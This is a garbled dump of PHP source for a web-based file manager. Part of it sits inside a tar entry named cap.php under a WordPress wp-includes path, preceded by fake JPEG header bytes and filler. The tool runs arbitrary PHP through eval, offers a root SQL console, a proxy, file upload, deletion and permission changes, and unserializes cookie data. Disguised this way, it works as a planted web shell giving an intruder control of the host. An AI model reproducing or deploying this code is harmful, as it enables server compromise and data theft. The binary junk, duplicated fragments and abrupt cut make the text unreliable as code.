		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PK     |\FL @  @   cap.php.tarnu [        home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php                                  0000644                 00000234451 15217274014 0021221 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................<?php
/**

.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
